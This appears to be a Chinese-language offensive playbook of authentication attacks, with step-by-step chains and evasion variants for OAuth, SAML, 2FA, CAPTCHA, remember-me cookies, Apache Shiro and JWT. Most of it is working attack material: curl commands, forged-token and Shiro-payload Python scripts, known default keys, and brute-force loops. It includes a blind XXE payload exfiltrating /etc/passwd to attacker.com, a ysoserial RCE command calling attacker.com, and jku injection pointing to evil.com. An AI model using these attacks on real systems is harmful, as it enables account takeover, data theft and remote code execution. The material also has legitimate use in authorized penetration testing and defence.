### OAuth漏洞  `auth-oauth`
OAuth认证流程漏洞
子类：**OAuth** · tags: `auth` `oauth` `redirect`

**前置条件：** 使用OAuth登录

**攻击链：**

**1. CSRF攻击**
_缺乏state参数_
```
# OAuth CSRF - 强制账号绑定攻击:
# 1. 获取攻击者的OAuth授权码:
#    正常走OAuth流程到callback但不完成
#    截获: http://target.com/callback?code=ATTACKER_CODE

# 2. 构造CSRF页面:
<html>
  <body>
    <img src="http://target.com/callback?code=ATTACKER_CODE">
    <!-- 或使用iframe -->
    <iframe src="http://target.com/callback?code=ATTACKER_CODE" style="display:none"></iframe>
  </body>
</html>

# 3. 受害者访问该页面后，其账号将绑定攻击者的OAuth账号
# 4. 攻击者可通过OAuth登录受害者账号

# 防御检测: 检查授权请求是否携带state参数
```

**2. Redirect URI**
_重定向到攻击者获取Code_
```
redirect_uri=http://attacker.com
```

**3. OAuth State参数缺失/可预测CSRF**
_检测OAuth流程中state参数的缺失或可预测性_
```
# 1. 检测state参数是否存在:
# 访问OAuth授权URL，查看是否有state参数
curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code"

# 2. 如果没有state参数 → CSRF绑定攻击:
# 攻击者用自己的OAuth账号发起授权，获取code
# 构造链接: http://target.com/callback?code=ATTACKER_CODE
# 发给受害者 → 受害者的账户绑定了攻击者的OAuth账号

# 3. 如果state可预测:
# 多次请求获取state值分析规律
for i in $(seq 1 5); do
  state=$(curl -sI "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code" | grep -i "location" | grep -oP "state=([^&]+)" | cut -d= -f2)
  echo "State $i: $state"
  sleep 0.5
done
```

**4. Token窃取与Scope越权**
_OAuth Token窃取、Scope越权、跨应用Token复用测试_
```
# 1. 通过redirect_uri泄露Token:
# implicit flow中Token在URL fragment中:
# http://attacker.com/callback#access_token=xxx
# 使用Referer泄露:
# 如果callback页面有外链，Token会通过Referer泄露

# 2. Scope越权 - 请求更高权限:
curl "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code&scope=admin+write+delete"

# 3. Token复用测试 - 用authorization_code换取的Token访问其他API:
TOKEN="stolen_access_token_here"
curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/users"
curl -H "Authorization: Bearer ${TOKEN}" "http://target.com/api/admin/settings"
curl -H "Authorization: Bearer ${TOKEN}" "http://other-app.target.com/api/user/info"

# 4. refresh_token窃取后无限续期:
curl -d "grant_type=refresh_token&refresh_token=STOLEN_REFRESH_TOKEN&client_id=xxx"   "http://target.com/oauth/token"
```

**WAF/EDR 绕过变体：**

**1. Redirect URI绕过技巧合集**
_多种redirect_uri白名单绕过技术_
```
# 白名单绕过技巧:

# 1. 子域名绕过(如果白名单用后缀匹配):
redirect_uri=http://evil.target.com/callback
redirect_uri=http://target.com.evil.com/callback

# 2. 路径遍历:
redirect_uri=http://target.com/callback/../../../evil-page
redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page

# 3. 参数注入:
redirect_uri=http://target.com/callback?next=http://evil.com
redirect_uri=http://target.com/callback%23@evil.com

# 4. 端口注入:
redirect_uri=http://target.com:8080@evil.com/callback

# 5. URL编码绕过:
redirect_uri=http://target.com%40evil.com/callback
redirect_uri=http://target.com%2540evil.com/callback

# 6. localhost/内网绕过:
redirect_uri=http://127.0.0.1/callback
redirect_uri=http://[::1]/callback

# 7. 开放重定向链:
redirect_uri=http://target.com/redirect?url=http://evil.com
```

---

### SAML漏洞  `auth-saml`
SAML断言攻击
子类：**SAML** · tags: `auth` `saml` `xml`

**前置条件：** 使用SAML SSO

**攻击链：**

**1. XML签名绕过**
_SAML Raider工具_
```
# SAML断言篡改 - 删除签名验证:
# 1. 拦截SAML Response(Burp Suite):
# POST /saml/acs 中的SAMLResponse参数

# 2. Base64解码:
echo "SAML_RESPONSE_BASE64" | base64 -d > saml.xml

# 3. 修改断言中的NameID(提权为admin):
# 原始: <NameID>user@target.com</NameID>
# 修改: <NameID>admin@target.com</NameID>

# 4. 删除签名块(删除整个<Signature>...</Signature>):
xmlstarlet ed -d "//*[local-name()='Signature']" saml.xml > saml_modified.xml

# 5. 重新Base64编码并替换:
base64 -w0 saml_modified.xml | xclip -sel clip

# 6. 在Burp中用修改后的值替换SAMLResponse参数
```

**2. XXE攻击**
_SAML基于XML_
```
# SAML XXE注入攻击:
# 1. 解码SAML Response后，在XML声明后注入DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response ...>
  <saml:Assertion>
    <saml:Subject>
      <saml:NameID>&xxe;</saml:NameID>
    </saml:Subject>
  </saml:Assertion>
</samlp:Response>

# 2. 带外数据外泄(Blind XXE):
<!DOCTYPE foo [
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

# evil.dtd内容:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%data;'>">
%payload;

# 3. Base64编码后替换SAMLResponse参数发送
```

**3. SAML Response篡改与重放**  _[linux]_
_SAML Response篡改身份信息和重放攻击_
```
# 1. 拦截SAML Response:
# Burp Suite中拦截POST到/saml/acs的请求
# SAMLResponse参数是Base64编码的XML

# 2. 解码并修改:
echo "BASE64_SAML_RESPONSE" | base64 -d > saml_resp.xml

# 3. 修改关键字段:
# - NameID: 修改为目标用户 (admin@target.com)
# - Audience: 确保匹配SP
# - Conditions/NotBefore/NotOnOrAfter: 确保时间有效

# 使用xmlstarlet修改:
xmlstarlet ed -N saml="urn:oasis:names:tc:SAML:2.0:assertion"   -u "//saml:NameID" -v "admin@target.com" saml_resp.xml > modified.xml

# 4. 重新编码提交:
cat modified.xml | base64 -w0 > encoded.txt
curl -d "SAMLResponse=$(cat encoded.txt)&RelayState=/" "http://target.com/saml/acs"

# 5. 重放攻击(如果未检查InResponseTo/时间):
# 直接重放之前抓到的有效SAMLResponse
curl -d "SAMLResponse=PREVIOUSLY_CAPTURED&RelayState=/" "http://target.com/saml/acs"
```

**4. SAML签名绕过高级技术**  _[linux]_
_SAML签名绕过的多种高级技术_
```
# 1. 签名包装攻击(XSW - XML Signature Wrapping):
# 将签名的断言移到XML其他位置，注入恶意断言
# 有8种XSW攻击变体

# 使用SAML Raider (Burp插件):
# - 拦截SAMLResponse
# - 选择XSW攻击类型(1-8)
# - 修改NameID为admin
# - 重放

# 2. 签名排除(如果SP不验证签名):
# 删除XML中的<ds:Signature>整个节点
xmlstarlet ed -N ds="http://www.w3.org/2000/09/xmldsig#"   -d "//ds:Signature" saml_resp.xml > no_sig.xml

# 3. 自签名证书替换:
# 生成自签名证书:
openssl req -new -x509 -days 365 -nodes -newkey rsa:2048   -keyout my.key -out my.crt -subj "/CN=Evil IDP"

# 使用xmlsec1签名:
xmlsec1 --sign --privkey-pem my.key --id-attr:ID Assertion saml_resp.xml

# 4. Comment注入绕过:
# admin<!-- -->@target.com 可能被解析为 admin@target.com
# 在NameID中注入: admin@target.com<!---->.evil.com
```

**WAF/EDR 绕过变体：**

**1. SAML XML混淆绕过WAF**  _[linux]_
_XML编码混淆和多种格式变体绕过WAF对SAML的检测_
```
# 1. XML编码混淆:
# 使用CDATA段包裹payload:
<NameID><![CDATA[admin@target.com]]></NameID>

# 2. DTD定义实体:
<!DOCTYPE foo [<!ENTITY user "admin@target.com">]>
<NameID>&user;</NameID>

# 3. XML命名空间混淆:
<saml:NameID xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
             xmlns:x="http://evil.com">admin@target.com</saml:NameID>

# 4. 编码SAMLResponse的不同方式:
# 标准Base64:
cat saml.xml | base64 -w0
# 带换行的Base64:
cat saml.xml | base64
# URL编码后的Base64:
cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"

# 5. Deflate+Base64(某些实现接受):
python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())"
```

---

### 2FA绕过  `auth-2fa`
绕过双因素认证
子类：**2FA** · tags: `auth` `2fa` `mfa`

**前置条件：** 开启2FA

**攻击链：**

**1. 直接访问**
_强制浏览绕过2FA页面_
```
# 2FA绕过 - 强制浏览(直接跳过验证步骤):
# 1. 正常登录输入用户名密码，到达2FA验证页面
# 2. 不输入验证码，直接访问后台页面:
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/admin/dashboard" -v
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/api/user/profile" -v
curl -b "session=LOGIN_SESSION_COOKIE" "http://target.com/home" -v

# 3. 修改前端JS跳过验证:
# 在浏览器Console中执行:
# window.location = '/dashboard'

# 4. 修改响应中的验证状态:
# Burp拦截响应: {"2fa_required":true} → {"2fa_required":false}

# 5. 直接调用API(可能不检查2FA状态):
curl -b "session=COOKIE" "http://target.com/api/v1/users" -v
```

**2. 验证码爆破**
_无速率限制_
```
# 2FA验证码爆破:
# 1. TOTP通常为6位数字(000000-999999):
# 但有30秒时间窗口，需要极快速爆破

# 2. 短信验证码爆破(4位):
# Burp Intruder:
POST /verify-2fa HTTP/1.1
Content-Type: application/json

{"otp":"§0000§","session":"LOGIN_SESSION"}
# Payload: Numbers 0000-9999

# 3. 检测速率限制:
# 快速发送10次请求，观察是否被限制
for i in $(seq 1000 1010); do
  curl -s -o /dev/null -w "%{http_code}" \
    -d "otp=$i&session=SESS" "http://target.com/verify-2fa"
  echo " - $i"
done

# 4. 绕过速率限制:
# X-Forwarded-For IP轮换
# 修改User-Agent
# 添加空字节: otp=1234%00
```

**3. 逻辑绕过**
_修改响应包_
```
response=true / success=1
```

**WAF/EDR 绕过变体：**

**1. 响应篡改与直接端点访问**
_通过拦截并修改2FA验证响应包欺骗前端认为验证通过，或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态_
```
# 响应篡改(Burp拦截):
# 原始响应: {"success":false,"message":"Invalid OTP"}
# 修改为:   {"success":true,"message":"Valid OTP"}

# 直接跳过2FA步骤:
# 登录后不访问/verify-2fa，直接访问:
GET /dashboard HTTP/1.1
Cookie: session=AFTER_LOGIN_SESSION

# 修改状态参数:
POST /verify-2fa
{"otp":"000000","skip":true}
/verify-2fa?verified=true
```

**2. 备份码爆破与验证竞态条件**
_对2FA备份恢复码进行字典爆破(通常限制不如OTP严格)，利用竞态条件并发发送多个OTP验证请求绕过速率限制_
```
# 备份码爆破(通常为8位数字/字母):
# 使用Burp Intruder对backup_code参数进行爆破
POST /verify-backup-code
{"backup_code":"§12345678§"}
# 检查速率限制和锁定策略

# 竞态条件(Race Condition):
# 同时发送多个验证请求:
for i in $(seq 000000 000100); do
  curl -s -X POST "http://target.com/verify-2fa"     -b "session=SID" -d "otp=$i" &
done
wait
# 多线程并发可能绕过速率限制
```

---

### 验证码绕过  `auth-captcha`
绕过图形验证码
子类：**验证码** · tags: `auth` `captcha` `bypass`

**前置条件：** 存在验证码

**攻击链：**

**1. 重复使用**
_验证码未一次性失效_
```
# 验证码重放攻击(一次验证,多次使用):
# 1. 正常获取并输入正确验证码
# 2. 在Burp中抓取成功的请求
# 3. 将请求发送到Repeater，重复发送:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=§test§&captcha=VALID_CAPTCHA

# 4. 如果每次响应都正常(非"验证码错误")
#    说明验证码未一次性失效，可用于暴力破解

# 5. 配合Intruder进行密码爆破:
# Positions: password字段
# Payloads: 密码字典
# 固定captcha字段为已知有效值

# Burp Intruder设置: Sniper模式，Payload为密码列表
```

**2. 空值绕过**
_验证码参数留空_
```
# 验证码空值/参数删除绕过:
# 1. 提交空验证码:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=test&captcha=

# 2. 提交null值:
POST /login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"test","captcha":null}

# 3. 完全删除captcha参数:
POST /login HTTP/1.1

username=admin&password=test

# 4. 提交特殊值:
captcha=0
captcha=undefined
captcha[]=
captcha=true

# 5. 不同编码:
captcha=%00
captcha=%20

# 如果任一方式登录成功，说明验证码验证可被绕过
```

**3. 删除参数**
_后端未检查参数存在性_
```
# 验证码参数移除绕过:
# 1. 原始请求(带验证码):
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=test&captcha=abcd

# 2. 在Burp Repeater中删除captcha参数:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password=test

# 3. 修改Content-Type测试(可能走不同处理逻辑):
POST /login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"test"}

# 4. 通过移动端API(可能无验证码):
POST /api/mobile/login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"test"}

# 5. 旧版本API(可能无验证码):
POST /api/v1/login HTTP/1.1
```

**WAF/EDR 绕过变体：**

**1. 会话复用与参数移除绕过**
_测试验证码是否在使用后立即失效(可重复使用)，删除captcha参数检查后端是否强制校验，或传入空值、数组等异常类型绕过类型检查_
```
# 会话复用(验证码未一次性失效):
# 1. 正确输入验证码一次
# 2. 后续请求继续使用相同captcha值
# Burp Repeater重放同一captcha参数

# 删除captcha参数:
# 原始: user=admin&pass=123&captcha=ABCD
# 修改: user=admin&pass=123
# 后端可能不校验缺失的参数

# 空值绕过:
captcha=
captcha=null
captcha=undefined
captcha[]=
```

**2. OCR识别与音频验证码利用**
_使用OCR工具(Tesseract)自动识别简单图形验证码，利用音频验证码的语音识别替代方案，或检查响应中是否直接泄露验证码值_
```
# OCR自动识别图形验证码:
# Python + Tesseract:
import pytesseract
from PIL import Image
img = Image.open("captcha.png")
text = pytesseract.image_to_string(img)
print(text)

# 音频验证码利用:
# 使用Google Speech-to-Text API识别音频验证码
# 或使用Selenium自动获取+语音识别

# 验证码响应泄露:
# 检查响应头、Cookie、隐藏字段中是否包含验证码值
curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"
```

---

### 记住我漏洞  `auth-remember-me`
Remember Me功能漏洞
子类：**会话管理** · tags: `auth` `remember-me` `cookie`

**前置条件：** 开启Remember Me

**攻击链：**

**1. Cookie伪造**
_明文存储用户名_
```
# Remember-Me Cookie伪造:
# 1. 分析Cookie结构:
# 常见格式: username|timestamp|hash 或 base64(username:expiry:hash)
Cookie: remember=admin
Cookie: remember=dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0

# 2. Base64解码分析:
echo "dXNlcjoxNjk5MDAwMDAwOmFiY2QxMjM0" | base64 -d
# 输出: user:1699000000:abcd1234

# 3. 伪造admin的Cookie:
echo -n "admin:1999999999:abcd1234" | base64
# 用生成的值替换Cookie

# 4. 如果使用弱Hash(如MD5(username+secret)):
# 注册新账号 → 分析Cookie → 推导secret → 伪造admin Cookie

# 5. 测试:
curl -b "remember=FORGED_VALUE" "http://target.com/dashboard" -v
```

**2. Base64解码**
_弱加密或编码_
```
# Remember-Me Cookie解码与分析:
# 1. 提取Cookie值:
curl -c cookies.txt -d "username=testuser&password=test123&remember=1" "http://target.com/login"
cat cookies.txt | grep -i remember

# 2. Base64解码:
echo "COOKIE_VALUE" | base64 -d

# 3. 如果是URL编码+Base64:
python3 -c "import urllib.parse,base64; print(base64.b64decode(urllib.parse.unquote('COOKIE_VALUE')))"

# 4. 尝试Hex解码:
echo "COOKIE_VALUE" | xxd -r -p

# 5. 分析解码后的结构:
# username:timestamp:hmac
# {"user":"admin","exp":1699999999}
# 序列化对象(Java/PHP)

# 6. 检查是否为已知框架的Cookie格式:
# Shiro: AES-CBC加密(默认密钥kPH+bIxk5D2deZiIxcaaaA==)
# Django: base64(payload):timestamp:signature
```

**3. 记住密码Token逆向分析**  _[linux]_
_逆向分析remember-me Token的生成逻辑_
```
# 1. 收集多个remember-me Token:
for i in $(seq 1 5); do
  token=$(curl -s -c - -d "username=testuser&password=testpass&remember=1"     "http://target.com/login" | grep -i "remember" | awk '{print $NF}')
  echo "Token $i: $token"
  sleep 1
done

# 2. Base64解码分析:
echo "REMEMBER_TOKEN" | base64 -d | xxd | head -20

# 3. 检查常见格式:
# username:timestamp:hash
# username:md5(password)
# serialized_object(Java: rO0AB... PHP: O:4:...)

# 4. 如果是Java序列化(Shiro RememberMe):
echo "REMEMBER_TOKEN" | base64 -d | xxd | head -3
# 如果以 aced0005 开头 → Java序列化对象
# 如果Token加密: 尝试Shiro默认密钥 kPH+bIxk5D2deZiIxcaaaA==

# 5. PHP反序列化检查:
echo "REMEMBER_TOKEN" | base64 -d
# 如果形如 O:4:"User":2:{s:4:"name";s:5:"admin";...} → PHP序列化
```

**4. Shiro RememberMe反序列化RCE**
_利用Shiro默认密钥 + 反序列化链实现RCE_
```
# Apache Shiro框架的RememberMe Cookie反序列化漏洞
# 原理: AES-CBC加密(默认密钥) → Base64编码 → Cookie

# 1. 检测Shiro框架:
curl -sI "http://target.com/" | grep -i "rememberMe=deleteMe"
# 发送无效Cookie触发特征响应:
curl -sI "http://target.com/" -b "rememberMe=test" | grep -i "rememberMe"

# 2. 已知Shiro密钥列表测试:
# kPH+bIxk5D2deZiIxcaaaA==
# 2AvVhdsgUs0FSA3SDFAdag==
# 3AvVhmFLUs0KTA3Kprsdag==
# ...

# 3. 使用ShiroExploit工具:
# java -jar ShiroExploit.jar http://target.com

# 4. 手动构造payload(需要ysoserial):
java -jar ysoserial.jar CommonsCollections2 "curl http://attacker.com/rce" > payload.ser

# AES加密:
python3 -c "
import base64
from Crypto.Cipher import AES
import os

key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
iv = os.urandom(16)
payload = open('payload.ser','rb').read()
# PKCS5Padding
pad = 16 - len(payload) % 16
payload += bytes([pad]) * pad
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = iv + cipher.encrypt(payload)
print(base64.b64encode(encrypted).decode())
"
```

**WAF/EDR 绕过变体：**

**1. Remember-Me Cookie绕过检测**
_枚举Shiro密钥和不同加密模式绕过检测_
```
# 1. 修改Cookie名称大小写:
curl -b "RememberMe=payload" "http://target.com/"
curl -b "rememberme=payload" "http://target.com/"
curl -b "REMEMBERME=payload" "http://target.com/"

# 2. Shiro密钥枚举(使用不同密钥加密payload):
import base64, itertools
from Crypto.Cipher import AES
import os

keys = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
]

payload = open("payload.ser", "rb").read()
for k in keys:
    try:
        key = base64.b64decode(k)
        iv = os.urandom(16)
        pad = 16 - len(payload) % 16
        padded = payload + bytes([pad]) * pad
        cipher = AES.new(key, AES.MODE_CBC, iv)
        enc = base64.b64encode(iv + cipher.encrypt(padded)).decode()
        print(f"Key: {k} → Cookie length: {len(enc)}")
    except Exception as e:
        print(f"Key: {k} → Error: {e}")

# 3. GCM模式(Shiro 1.4.2+):
# 新版Shiro使用AES-GCM，需要对应的加密方式
```

---

### JWT认证漏洞  `auth-jwt`
利用JWT(JSON Web Token)实现缺陷伪造或篡改认证令牌，实现未授权访问或权限提升
子类：**JWT** · tags: `auth` `jwt` `token`

**前置条件：** 目标使用JWT进行认证；可以获取或拦截JWT令牌；JWT库存在已知漏洞或服务端配置不当

**攻击链：**

**1. JWT解码与分析**
_解码JWT的Header和Payload分析其结构和权限信息_
```
# 手动解码JWT (Base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | cut -d. -f2 | base64 -d 2>/dev/null

# 使用jwt_tool解码:
python3 jwt_tool.py <token>

# 在线解码:
# https://jwt.io/

# 检查关键字段:
# - alg: 签名算法(HS256/RS256/none)
# - kid: 密钥ID(可能可注入)
# - typ: 令牌类型
# - exp: 过期时间
# - role/admin/isAdmin: 权限字段
```

**2. Algorithm None攻击**
_将JWT的alg字段设为none，使服务端跳过签名验证，直接接受篡改的payload_
```
# 将alg改为none绕过签名验证
import base64, json

header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin", "iat": 1700000000, "exp": 1999999999}

h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b"=")

# 多种变体绕过:
alg_variants = ["none", "None", "NONE", "nOnE"]
for alg in alg_variants:
    header["alg"] = alg
    h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b"=")
    token = h.decode() + "." + p.decode() + "."
    print(f"alg={alg}: {token}")

# 使用jwt_tool:
python3 jwt_tool.py <token> -X a  # Algorithm None attack
```

**3. HS256密钥爆破**  _[linux]_
_对使用HS256对称加密的JWT进行密钥字典爆破_
```
# 使用jwt_tool爆破弱密钥
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# 使用hashcat:
hashcat -m 16500 jwt_hash.txt /usr/share/wordlists/rockyou.txt

# 使用john:
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256

# 常见弱密钥:
# secret, password, 123456, admin, key, test
# 公司名, 项目名, 域名等

# 密钥确认后伪造JWT:
import jwt
token = jwt.encode({"user":"admin","role":"admin"}, "found_secret", algorithm="HS256")
print(token)
```

**4. RS256→HS256算法混淆攻击**  _[linux]_
_利用RS256/HS256算法混淆，用公钥作为HS256对称密钥签名伪造JWT_
```
# 当服务端使用RS256但接受HS256时:
# 1. 获取服务端公钥(通常在/.well-known/jwks.json或/api/keys)
curl -s "http://target.com/.well-known/jwks.json"
curl -s "http://target.com/api/v1/keys"

# 2. 提取公钥
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pubkey.pem

# 3. 用公钥作为HS256的密钥签名JWT
import jwt
public_key = open("pubkey.pem").read()
token = jwt.encode(
    {"user": "admin", "role": "admin"},
    public_key,
    algorithm="HS256"
)
print(token)

# 使用jwt_tool:
python3 jwt_tool.py <token> -X k -pk pubkey.pem  # Key confusion attack
```

**5. KID参数注入**
_利用JWT头部kid字段的SQL注入或路径遍历控制签名验证密钥_
```
# KID (Key ID) SQL注入:
# 原始header: {"alg":"HS256","kid":"key1"}
# 注入header: {"alg":"HS256","kid":"key1' UNION SELECT 'ATTACKER_SECRET' -- "}

import jwt, json, base64

# SQL注入方式:
header = {"alg": "HS256", "kid": "x' UNION SELECT 'test' -- "}
token = jwt.encode({"user": "admin"}, "test", algorithm="HS256", headers=header)

# 路径遍历方式:
header2 = {"alg": "HS256", "kid": "../../dev/null"}
# /dev/null内容为空，密钥为空字符串
token2 = jwt.encode({"user": "admin"}, "", algorithm="HS256", headers=header2)

# 使用jwt_tool:
python3 jwt_tool.py <token> -X i -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```

**WAF/EDR 绕过变体：**

**1. JWK/JKU头部密钥注入**
_通过JWT Header中的jwk字段内嵌攻击者公钥或jku字段指向攻击者的JWKS端点，使服务端使用攻击者控制的密钥验证签名_
```
# JWK内嵌密钥注入:
# 生成RSA密钥对:
openssl genrsa -out attacker.key 2048
openssl rsa -in attacker.key -pubout -out attacker.pub

# 构造JWT Header:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"<attacker_n_base64>","e":"AQAB","use":"sig"}}
# 用attacker.key签名，服务端从jwk字段取公钥验证

# JKU远程密钥注入:
{"alg":"RS256","jku":"http://attacker.com/jwks.json"}
# 在attacker.com上部署包含攻击者公钥的JWKS文件

# 使用jwt_tool:
python3 jwt_tool.py <token> -X s -pr attacker.key
```

**2. 算法降级与嵌套令牌利用**
_利用RS256到HS256的算法混淆攻击(用公钥作对称密钥签名)，或在JWT Payload中嵌入伪造的内部JWT令牌触发递归解析漏洞_
```
# 算法降级(RS256→HS256):
# 获取服务端公钥后用作HS256密钥:
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > pub.pem
python3 -c "
import jwt
pub = open('pub.pem').read()
token = jwt.encode({'user':'admin','role':'admin'}, pub, algorithm='HS256')
print(token)"

# Claim篡改+嵌套JWT:
# 在JWT payload中嵌入另一个JWT:
{"user":"admin","inner_token":"<另一个伪造的JWT>"}
# 某些系统会递归解析inner_token
```

---

### · JWT安全

### JWT None算法攻击  `jwt-none-attack`
利用JWT库对"none"算法的支持缺陷，将JWT头部的签名算法修改为none后移除签名部分，构造无需密钥即可通过验证的伪造令牌。这是最经典的JWT漏洞之一。
子类：**算法攻击** · tags: `JWT` `none算法` `认证绕过` `令牌伪造` `CVE-2015-2951`

**前置条件：** 目标使用JWT进行身份认证；jwt_tool或Python PyJWT库

**攻击链：**

**1. 1. 解码现有JWT**
_解析JWT的Header和Payload部分，识别算法和声明内容_
```
# 解码JWT的三个部分
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f1 | base64 -d
# 输出: {"alg":"HS256","typ":"JWT"}

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.signature" | cut -d. -f2 | base64 -d
# 输出: {"user":"guest","role":"user"}
```

**2. 2. 构造None算法JWT**
_Python脚本构造alg=none的伪造JWT，提权为admin_
```
import base64, json

# 修改Header为none算法
header = base64.urlsafe_b64encode(
    json.dumps({"alg":"none","typ":"JWT"}).encode()
).rstrip(b"=").decode()

# 修改Payload为admin
payload = base64.urlsafe_b64encode(
    json.dumps({"user":"admin","role":"admin"}).encode()
).rstrip(b"=").decode()

# 签名为空
forged_jwt = f"{header}.{payload}."
print(forged_jwt)
```

**3. 3. jwt_tool自动攻击**
_使用jwt_tool自动化测试none算法及其大小写变体_
```
python3 jwt_tool.py {TOKEN} -X a

# -X a = 尝试none算法攻击
# 同时测试多种none变体
# none, None, NONE, nOnE, noNe
```

**4. 4. 验证伪造令牌**
_使用伪造的JWT访问管理员接口验证攻击效果_
```
curl -s -H "Authorization: Bearer {FORGED_JWT}" \
  "https://{TARGET}/api/admin/dashboard"

# 检查是否获得管理员权限
# 200 OK = 攻击成功
# 401/403 = 服务端正确拒绝none算法
```

**WAF/EDR 绕过变体：**

**1. none算法大小写变体**
_使用none的各种大小写组合和不同签名占位绕过校验_
```
# 各种none变体
{"alg":"none"}
{"alg":"None"}
{"alg":"NONE"}
{"alg":"nOnE"}
{"alg":"noNe"}
{"alg":"nONE"}

# 添加签名占位
header.payload.
header.payload.AA==
header.payload.e30=
```

---

### JWT密钥混淆攻击(RS→HS)  `jwt-key-confusion`
当服务端使用RSA公钥验证JWT时，攻击者将算法从RS256改为HS256，此时服务端会错误地使用RSA公钥作为HMAC密钥进行验证。由于RSA公钥是公开的，攻击者可用它签名任意JWT。
子类：**算法攻击** · tags: `JWT` `密钥混淆` `RS256` `HS256` `算法篡改`

**前置条件：** 目标JWT使用RS256/RS384/RS512算法；已获取RSA公钥；jwt_tool或Python

**攻击链：**

**1. 1. 获取RSA公钥**
_从JWKS端点、API或SSL证书中获取RSA公钥_
```
# 常见公钥泄露位置
curl -s "https://{TARGET}/.well-known/jwks.json" | jq
curl -s "https://{TARGET}/api/keys" | jq
curl -s "https://{TARGET}/oauth/discovery" | jq

# 从JWKS中提取公钥
# 或从SSL证书中获取
openssl s_client -connect {TARGET}:443 | openssl x509 -pubkey -noout > pubkey.pem
```

**2. 2. 密钥混淆攻击**
_Python脚本将RSA公钥作为HMAC密钥签名伪造JWT_
```
import jwt
import json

# 读取RSA公钥
with open("pubkey.pem", "rb") as f:
    public_key = f.read()

# 用公钥作为HMAC密钥签名
forged_payload = {
    "user": "admin",
    "role": "admin",
    "iat": 1707811200,
    "exp": 1999999999
}

# 将算法从RS256切换为HS256
forged_token = jwt.encode(
    forged_payload,
    public_key,        # RSA公钥作为HMAC密钥
    algorithm="HS256"  # 改为HMAC算法
)
print(forged_token)
```

**3. 3. jwt_tool自动攻击**
_jwt_tool一键执行密钥混淆攻击_
```
python3 jwt_tool.py {TOKEN} -X k -pk pubkey.pem

# -X k = 密钥混淆攻击模式
# -pk = 指定公钥文件
# 工具自动完成RS256→HS256切换和签名
```

**4. 4. JWKS端点注入**
_JKU/X5U头注入使服务端从攻击者控制的URL获取验证密钥_
```
# 如果支持jku/x5u头，可注入自定义JWKS端点
Header: {
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://evil.com/.well-known/jwks.json"
}

# 在evil.com上托管攻击者生成的JWKS
# 服务端会从攻击者URL获取公钥进行验证
openssl genrsa -out attacker_key.pem 2048
openssl rsa -in attacker_key.pem -pubout > attacker_pub.pem
```

**WAF/EDR 绕过变体：**

**1. 多种公钥格式尝试**
_某些JWT库对公钥格式处理不同，尝试多种格式_
```
# PEM格式(标准)
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqh...
-----END PUBLIC KEY-----

# DER格式(二进制)
openssl rsa -pubin -in pubkey.pem -outform DER -out pubkey.der

# 带/不带换行符
cat pubkey.pem | tr -d "\n" > pubkey_noline.pem

# 不同编码的公钥作为HMAC密钥
```

---

### JWT密钥爆破  `jwt-secret-bruteforce`
当JWT使用HMAC对称算法(HS256/HS384/HS512)且密钥为弱密码时，可通过字典或暴力破解还原签名密钥，进而伪造任意JWT令牌。
子类：**密钥破解** · tags: `JWT` `密钥爆破` `HS256` `弱密钥` `hashcat`

